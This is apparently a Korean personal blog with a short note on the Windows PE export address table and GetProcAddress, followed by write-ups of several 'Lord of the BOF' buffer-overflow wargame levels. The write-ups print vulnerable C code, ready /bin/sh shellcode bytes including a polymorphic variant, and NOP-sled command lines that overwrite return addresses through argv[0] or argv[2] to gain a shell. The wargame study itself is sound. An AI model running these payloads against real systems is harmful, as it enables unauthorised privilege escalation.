zj3t

email: euntaejang@gmail.com

Latest Posts
EAT: 라이브러리 파일에서 제공하는 함수를 다른 프로그램에서 가져다 쓸 수 있도록 해주는 핵심적은 메커니증!!

즉 EAT를 통해서만 해당 라이브러리에서 익스포트하는 함수의 시작 주소를 정확히 구할 수 있다. (따라서 EXPORT TABLE은 dll과 같이 함수를 제공해 주는 라이브러리에만 존재)

typedef struct _IMAGE_EXPORT_DIRECTORY{
DWORD Characteristics;
DWORD TimeDateStamp;
WORD  MajorVersion;
DWORD MinorVersion;
DWORD Name; //예)kernel32.dll등 라이브러리의 시작 주소
DWORD Base;
DWORD NumberOfFunctions;        //실제 EXPORT 함수의 개수
DWORD NumberOfNames; //EXPORT 함수 중에서 이름을 가지는 함수 개수
DWORD AddressOfFunctions; //EXPORT 함수 주소 배열
DWORD AddressOfNames; //함수 이름 주소 배열
DWORD AddressOfNameOrdinals; //Ordinal 주소 배열
}IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY

라이브리에서 함수 주소를 얻는 API: GetProcAddress()
GetProcAddress() 함수는 EAT를 참조해서 원하는 API의 주소를 구해줌

GetProcAddress() 동작 원리

1.AddressOfNames 멤버를 이용해 '함수 이름 배열'로 갑니다.
2.문자열 비교(strcmp)를 통하여 원하는 함수 이름을 찾습니다.(이 때 배열의 인덱스는 n이라 가정)
3.AddressOfNameOrdinals 멤버를 이용하여 'ordinal 배열'로 간다.
4.'ordinal 배열'에서 인덱스 n으로 해당 ordinal값을 찾음
5.AddressOfFunctions 멤버를 이용하여 '함수 주소 배열(EAT)'로 찾아간다.
6.EAT에서 4단계에서 구한 ordinal을 배열 인덱스로 하여 원하는 함수의 시작 주소를 얻는다.

조금만 생각하면 쉽게 풀 수 있었던 문제였습니다.


맨처음에 !=\xff로 봐서 쉽다하고 풀었는데 안되서 자세히 보니 ==\xff라 머리좀 많이 굴렸었습니다.



'늦게들어온 군인 일 수록 낮은 계급을 받는다'

해커스쿨 버퍼오버플로우 왕기초편에 있었던 말입니다. 이 말을 이용해봤습니다.

가장 높은 주소를 0xbfffffff로 생각했고 점점 추가될 수록 이 주소는 낮아지기 때문에
NOP썰매를 아주 길게 형성하면 주소또한 낮아질꺼라 생각했는데 다행이 생각되로 되었습니다.

나머지는 전 문제들과 똑같습니다.
이번 문제는 시간이 많이 걸렸습니다. argv[1]에 쉘코드를 넣어도 25자이상이기 때문에 초기화가 되버려서 리턴어드레스 값을 변조해주어도 원하는 실행이 되지 않았습니다. 따라서 생각한 방법이 argv[0]을 이용한 방법입니다. 일단 과정부터 첨부하겠습니다.



원래 troll.c 코드에서 argv[0]의 주소를 알아내도록 조작


여기서 많은 시간을 소모했는데 
기존에 쓰던 shellcode, 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

이 것을 쓰면

\x2f가 들어가 원래 존재하는 디렉토리가 아닌 이상은 링크를 해주지 않는다는 것입니다.

따라서 다른 쉘코드를 썼습니다.

\x2f가 없는 다형성 쉘코드: "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`





argv[1]에서는 어차피 buffer가 초기화 되기 때문에 sfp까지 NULL로 채운뒤 리턴어드레스만  argv[0]의 시작주소를 주면 답을 얻을 수가 있었습니다.


#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
char buffer[40];
int i;

if(argc < 2){
printf("argv error\n");
exit(0);
}

// here is changed!
if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
}

// egghunter 
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}

// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}

strcpy(buffer, argv[1]); 
printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

저 빨간 글씨의 함수가 추가되었습니다.

이는 argv[0]은 실행하는 파일의 글자수라고 알고있어서 77개의 a로 이루어진 파일로 익스플로잇을 짜서 공격실행했는데 안되서 고민하다가

./실행파일 에서 ./도 포함된다는 것을 알아서 75로 공격했더니 성공했습니다.

그외 달라진 것은 없었습니다.


[wolfman@localhost wolfman]$ cat darkelf.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
char buffer[40];
int i;

if(argc < 2){
printf("argv error\n");
exit(0);
}

// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}

// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}

strcpy(buffer, argv[1]);
printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}
-----------------------------------------------------------------------------------------------
위가 레벨6의 코드입니다. 

// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}

가 추가됬는데 지금까지 한 argv[2] 방법을 유도하는 거 같아요

따라서 하던 방법으로 공격하면 됩니다.





level4와 같은 문제였습니다.
다만 코드한줄이 추가되었습니다.

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
char buffer[40];
int i;

if(argc < 2){
printf("argv error\n");
exit(0);
}

// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);   //별로 상관안해도 되는 코드 이 코드가 실행되기 전에
}                                         이미 bash를 얻음 



조금 생각하게 만든 문제였습니다. 새로나온 개념또한 있었습니다.






#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
char buffer[40];
int i;

if(argc < 2){
printf("argv error\n");
exit(0);
}

// egghunter 
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')  //return address의 시작이 0xbfxxxxxx로 시작하여야한다.
{
printf("stack is still your friend.\n");
exit(0);
}

strcpy(buffer, argv[1]); 
printf("%s\n", buffer);
}

extern char **environ 을 사용하면 모든 환경 변수를 출력할 수 있습니다.

이 문제에서는 환경변수를 차례로 하나씩 가져온뒤 memset으로 모두 0으로 만들었습니다.

따라서 지금껏 풀어왔던 문제들처럼 환경변수를 통한 nop 썰매를 이용할 수 없었습니다.

따라서 이용한 방법이 argv[2] 즉, 두번째 인자를 이용한 것입니다.

./orc 'python -c 'print "\x90"*44+"ret(4byte)"'` 'python -c 'print "\x90"*100
+"SHELLCODE"'`

입니다. 저 ret부분에는 argv[2]의 시작주소가 입력 될 것입니다.

저는 기존의 orc.c 코드에 argv[2]의 주소를 출력하도록 설정하였습니다.

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
char buffer[40];
int i;

if(argc < 2){
printf("argv error\n");
exit(0);
}

// egghunter 
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}

strcpy(buffer, argv[1]); 
printf("%s\n", buffer);
printf("%x\n",argv[2]);
}

주위해야할 점은 argv[2]의 주소를 알아내려 코드를 실행할 때 실제 입력할 형식으로 정확히 입력해야합니다. 안그러면 주소가 바뀌더라고요.

이렇게 하면 orc권한을 획득할 수 있었습니다.

앞에 1번 2번문제와 달리 값을 전달해주는 방식의 차이가 있었던 문제였습니다.

FTZ와 비슷하거나 같은 문제는 따로 방법을 포스팅하지 않겠습니다.